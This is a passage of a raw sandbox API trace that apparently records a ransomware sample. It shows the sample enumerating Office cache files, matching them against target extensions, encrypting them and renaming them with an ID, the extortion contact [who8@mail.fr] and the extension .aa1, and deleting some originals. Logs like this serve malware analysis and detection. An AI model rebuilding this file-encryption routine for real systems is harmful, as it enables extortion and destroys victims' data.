(lpString1=".bz2", lpString2=".msi") returned -1 [0211.338] lstrlenW (lpString=".7z") returned 3 [0211.338] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0211.338] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0211.338] lstrlenW (lpString=".dbf") returned 4 [0211.338] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0211.338] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0211.338] lstrlenW (lpString=".1cd") returned 4 [0211.338] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0211.338] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0211.338] lstrlenW (lpString=".jpg") returned 4 [0211.338] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0211.338] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0211.339] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0211.339] lstrlenW (lpString=".doc") returned 4 [0211.339] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0211.339] lstrlenW (lpString=".docx") returned 5 [0211.339] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0211.339] lstrlenW (lpString=".pdf") returned 4 [0211.339] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0211.339] lstrlenW (lpString=".xls") returned 4 [0211.339] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0211.339] lstrlenW (lpString=".xlsx") returned 5 [0211.339] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0211.339] lstrlenW (lpString=".ppt") returned 4 [0211.339] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0211.339] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0211.339] lstrlenW (lpString=".zip") returned 4 [0211.339] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0211.339] lstrlenW (lpString=".rar") returned 4 [0211.339] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0211.339] lstrlenW (lpString=".bz2") returned 4 [0211.339] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0211.339] lstrlenW (lpString=".7z") returned 3 [0211.339] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0211.339] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0211.339] lstrlenW (lpString=".dbf") returned 4 [0211.339] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0211.380] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0211.380] lstrlenW (lpString=".1cd") returned 4 [0211.380] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0211.380] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0211.380] lstrlenW (lpString=".jpg") returned 4 [0211.380] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0211.381] lstrcmpiW (lpString1=".msi", lpString2=".aa1") returned 1 [0211.381] lstrlenW (lpString="OneNoteMUI.msi") returned 14 [0211.381] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0211.381] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=2503680) returned 1 [0211.381] CloseHandle (hObject=0x188) returned 1 [0211.381] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi")) returned 0x2020 [0211.381] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0211.381] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi.id-9c354b42.[who8@mail.fr].aa1")) returned 1 [0211.382] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0211.382] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fc6c | out: lpNewFilePointer=0x0) returned 1 [0211.382] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fc2c | out: lpNewFilePointer=0x0) returned 1 [0211.382] ReadFile (in: hFile=0x188, lpBuffer=0x3d90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x329fc38, lpOverlapped=0x0 | out: lpBuffer=0x3d90058*, lpNumberOfBytesRead=0x329fc38*=0x40000, lpOverlapped=0x0) returned 1 [0213.673] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xcbc00, lpNewFilePointer=0x0, dwMoveMethod=0x329fc2c | out: lpNewFilePointer=0x0) returned 1 [0213.674] ReadFile (in: hFile=0x188, lpBuffer=0x3dd0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x329fc38, lpOverlapped=0x0 | out: lpBuffer=0x3dd0058*, lpNumberOfBytesRead=0x329fc38*=0x40000, lpOverlapped=0x0) returned 1 [0213.818] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x329fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0213.818] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x223400, lpNewFilePointer=0x0, dwMoveMethod=0x329fc2c | out: lpNewFilePointer=0x0) returned 1 [0213.818] ReadFile (in: hFile=0x188, lpBuffer=0x3e10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x329fc38, lpOverlapped=0x0 | out: lpBuffer=0x3e10058*, lpNumberOfBytesRead=0x329fc38*=0x40000, lpOverlapped=0x0) returned 1 [0213.924] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0213.924] WriteFile (in: hFile=0x188, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x329fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x329fcb0*=0xc0108, lpOverlapped=0x0) returned 1 [0214.352] SetEndOfFile (hFile=0x188) returned 1 [0214.353] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x40000) returned 0x40140b0 [0214.353] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fc7c | out: lpNewFilePointer=0x0) returned 1 [0214.353] WriteFile (in: hFile=0x188, lpBuffer=0x40140b0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x329fc88, lpOverlapped=0x0 | out: lpBuffer=0x40140b0*, lpNumberOfBytesWritten=0x329fc88*=0x40000, lpOverlapped=0x0) returned 1 [0214.354] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xcbc00, lpNewFilePointer=0x0, dwMoveMethod=0x329fc7c | out: lpNewFilePointer=0x0) returned 1 [0214.355] WriteFile (in: hFile=0x188, lpBuffer=0x40140b0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x329fc88, lpOverlapped=0x0 | out: lpBuffer=0x40140b0*, lpNumberOfBytesWritten=0x329fc88*=0x40000, lpOverlapped=0x0) returned 1 [0214.361] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x223400, lpNewFilePointer=0x0, dwMoveMethod=0x329fc7c | out: lpNewFilePointer=0x0) returned 1 [0214.361] WriteFile (in: hFile=0x188, lpBuffer=0x40140b0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x329fc88, lpOverlapped=0x0 | out: lpBuffer=0x40140b0*, lpNumberOfBytesWritten=0x329fc88*=0x40000, lpOverlapped=0x0) returned 1 [0214.365] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40140b0 | out: hHeap=0x4f0000) returned 1 [0214.365] CloseHandle (hObject=0x188) returned 1 [0214.365] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x2020) returned 1 [0214.365] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0214.365] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0214.365] lstrlenW (lpString=".doc") returned 4 [0214.365] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0214.365] lstrlenW (lpString=".docx") returned 5 [0214.366] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0214.366] lstrlenW (lpString=".pdf") returned 4 [0214.366] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0214.366] lstrlenW (lpString=".xls") returned 4 [0214.366] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0214.366] lstrlenW (lpString=".xlsx") returned 5 [0214.366] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0214.697] lstrlenW (lpString=".ppt") returned 4 [0214.697] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0214.697] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0214.697] lstrlenW (lpString=".zip") returned 4 [0214.697] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0214.697] lstrlenW (lpString=".rar") returned 4 [0214.697] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0214.697] lstrlenW (lpString=".bz2") returned 4 [0214.697] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0214.697] lstrlenW (lpString=".7z") returned 3 [0214.697] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0214.697] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0214.697] lstrlenW (lpString=".dbf") returned 4 [0214.697] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0214.697] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0214.697] lstrlenW (lpString=".1cd") returned 4 [0214.697] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0214.697] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0214.697] lstrlenW (lpString=".jpg") returned 4 [0214.697] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0214.698] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0214.698] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0214.698] lstrlenW (lpString=".doc") returned 4 [0214.698] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0214.698] lstrlenW (lpString=".docx") returned 5 [0214.698] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0214.698] lstrlenW (lpString=".pdf") returned 4 [0214.698] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0214.698] lstrlenW (lpString=".xls") returned 4 [0214.698] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0214.698] lstrlenW (lpString=".xlsx") returned 5 [0214.698] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0214.698] lstrlenW (lpString=".ppt") returned 4 [0214.698] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0214.698] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0214.698] lstrlenW (lpString=".zip") returned 4 [0214.698] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0214.698] lstrlenW (lpString=".rar") returned 4 [0214.698] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0214.698] lstrlenW (lpString=".bz2") returned 4 [0214.698] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0214.698] lstrlenW (lpString=".7z") returned 3 [0214.698] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0214.698] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0214.698] lstrlenW (lpString=".dbf") returned 4 [0214.698] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0214.698] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0214.698] lstrlenW (lpString=".1cd") returned 4 [0214.698] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0214.699] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0214.699] lstrlenW (lpString=".jpg") returned 4 [0214.699] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0214.699] lstrcmpiW (lpString1=".EXE", lpString2=".aa1") returned 1 [0214.699] lstrlenW (lpString="DW20.EXE") returned 8 [0214.699] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dw20.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0214.979] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=838536) returned 1 [0214.980] CloseHandle (hObject=0x178) returned 1 [0214.980] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dw20.exe")) returned 0x2020 [0214.980] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dw20.exe.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0214.980] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dw20.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0214.980] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0214.980] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0214.981] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dw20.exe.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0214.981] GetLastError () returned 0x0 [0214.981] ReadFile (in: hFile=0x178, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x329fed4*=0xccb88, lpOverlapped=0x0) returned 1 [0214.997] WriteFile (in: hFile=0x208, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xccb90, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x329fc9c*=0xccb90, lpOverlapped=0x0) returned 1 [0215.010] ReadFile (in: hFile=0x178, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0215.010] WriteFile (in: hFile=0x208, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x329fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0215.010] SetEndOfFile (hFile=0x208) returned 1 [0215.010] CloseHandle (hObject=0x208) returned 1 [0215.010] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0215.010] SetEndOfFile (hFile=0x178) returned 1 [0215.018] CloseHandle (hObject=0x178) returned 1 [0215.018] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x2020) returned 1 [0215.018] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dw20.exe")) returned 1 [0215.018] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0215.018] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0215.018] lstrlenW (lpString=".doc") returned 4 [0215.018] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0215.018] lstrlenW (lpString=".docx") returned 5 [0215.018] lstrcmpiW (lpString1=".docx", lpString2="0.EXE") returned -1 [0215.018] lstrlenW (lpString=".pdf") returned 4 [0215.018] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0215.018] lstrlenW (lpString=".xls") returned 4 [0215.018] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0215.018] lstrlenW (lpString=".xlsx") returned 5 [0215.018] lstrcmpiW (lpString1=".xlsx", lpString2="0.EXE") returned -1 [0215.018] lstrlenW (lpString=".ppt") returned 4 [0215.018] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0215.019] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0215.019] lstrlenW (lpString=".zip") returned 4 [0215.019] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0215.019] lstrlenW (lpString=".rar") returned 4 [0215.019] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0215.019] lstrlenW (lpString=".bz2") returned 4 [0215.019] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0215.019] lstrlenW (lpString=".7z") returned 3 [0215.019] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0215.019] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0215.019] lstrlenW (lpString=".dbf") returned 4 [0215.019] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0215.019] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0215.019] lstrlenW (lpString=".1cd") returned 4 [0215.019] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0215.019] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0215.019] lstrlenW (lpString=".jpg") returned 4 [0215.019] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0215.019] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0215.019] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0215.019] lstrlenW (lpString=".doc") returned 4 [0215.019] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0215.019] lstrlenW (lpString=".docx") returned 5 [0215.019] lstrcmpiW (lpString1=".docx", lpString2="0.EXE") returned -1 [0215.019] lstrlenW (lpString=".pdf") returned 4 [0215.019] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0215.019] lstrlenW (lpString=".xls") returned 4 [0215.019] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0215.019] lstrlenW (lpString=".xlsx") returned 5 [0215.019] lstrcmpiW (lpString1=".xlsx", lpString2="0.EXE") returned -1 [0215.019] lstrlenW (lpString=".ppt") returned 4 [0215.020] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0215.020] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0215.020] lstrlenW (lpString=".zip") returned 4 [0215.020] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0215.020] lstrlenW (lpString=".rar") returned 4 [0215.020] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0215.020] lstrlenW (lpString=".bz2") returned 4 [0215.020] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0215.020] lstrlenW (lpString=".7z") returned 3 [0215.020] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0215.020] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0215.020] lstrlenW (lpString=".dbf") returned 4 [0215.020] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0215.020] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0215.020] lstrlenW (lpString=".1cd") returned 4 [0215.020] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0215.020] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0215.062] lstrlenW (lpString=".jpg") returned 4 [0215.062] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0215.063] lstrcmpiW (lpString1=".dll", lpString2=".aa1") returned 1 [0215.063] lstrlenW (lpString="msvcr90.dll") returned 11 [0215.063] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\msvcr90.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0215.063] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=655872) returned 1 [0215.063] CloseHandle (hObject=0x178) returned 1 [0215.063] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\msvcr90.dll")) returned 0x2020 [0215.063] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\msvcr90.dll.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0215.063] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\msvcr90.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0215.063] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0215.063] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0215.064] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\msvcr90.dll.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0215.064] GetLastError () returned 0x0 [0215.064] ReadFile (in: hFile=0x178, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x329fed4*=0xa0200, lpOverlapped=0x0) returned 1 [0217.498] WriteFile (in: hFile=0x208, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xa0210, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x329fc9c*=0xa0210, lpOverlapped=0x0) returned 1 [0217.511] ReadFile (in: hFile=0x178, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0217.511] WriteFile (in: hFile=0x208, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x329fc9c*=0xea, lpOverlapped=0x0) returned 1 [0217.511] SetEndOfFile (hFile=0x208) returned 1 [0217.512] CloseHandle 